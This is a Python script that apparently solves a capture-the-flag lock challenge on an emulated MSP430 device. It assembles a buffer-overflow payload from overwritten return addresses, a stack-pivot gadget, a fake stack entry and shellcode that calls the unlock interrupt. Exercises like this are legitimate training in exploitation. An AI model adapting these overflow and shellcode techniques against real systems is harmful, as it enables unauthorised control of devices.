#!/usr/bin/env python3
from math import ceil, floor
import string

# Truncation
def u16(i:int):
   return i & 0xffff
# Conversion
def stob(s: str):
   return s.encode('ascii', "replace")
def btos(b: bytes):
   return b.decode('ascii', "replace")
def btoi(b: bytes):
   return int.from_bytes(b, 'little')
def itob(i: int):
   return u16(i).to_bytes(2, 'little', signed=u16(i) < 0x8000);

'''
.text 0x4444
setup:
add #0x674a, sp ; sub #0x1e6e, sp
add #0x7a7a, sp ; sub #0x1e6e, sp
ret             ; j #25c0
'''
setup_loadaddr = b'4444'
setup = b'31504e6731507a7a3041'

'''
.text 0x25c0
unlock:
mov #0xff00, sr
call #0010
'''
unlock_loadaddr = 0x25c0
unlock = b'324000ffb0121000'

# ret -> #25c0
fake_stack = b'c025'

raddr_position      = 0xf
setup_position      = 0x057
fake_stack_position = 0x1b6 # The loop must continue
exploit_position    = 0x1c0

payloadbuffer =  b'30' * 15
payloadbuffer =  setup_loadaddr*16
payloadbuffer += b'30' * (setup_position - len(payloadbuffer)//2)
payloadbuffer += setup
payloadbuffer += b'30' * (fake_stack_position - len(payloadbuffer)//2)
payloadbuffer += fake_stack
payloadbuffer += b'30' * (exploit_position - len(payloadbuffer)//2)
payloadbuffer += unlock

print(payloadbuffer)

'''
444444444444444444444444444444444444444444444444444444444444444430303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030
'''
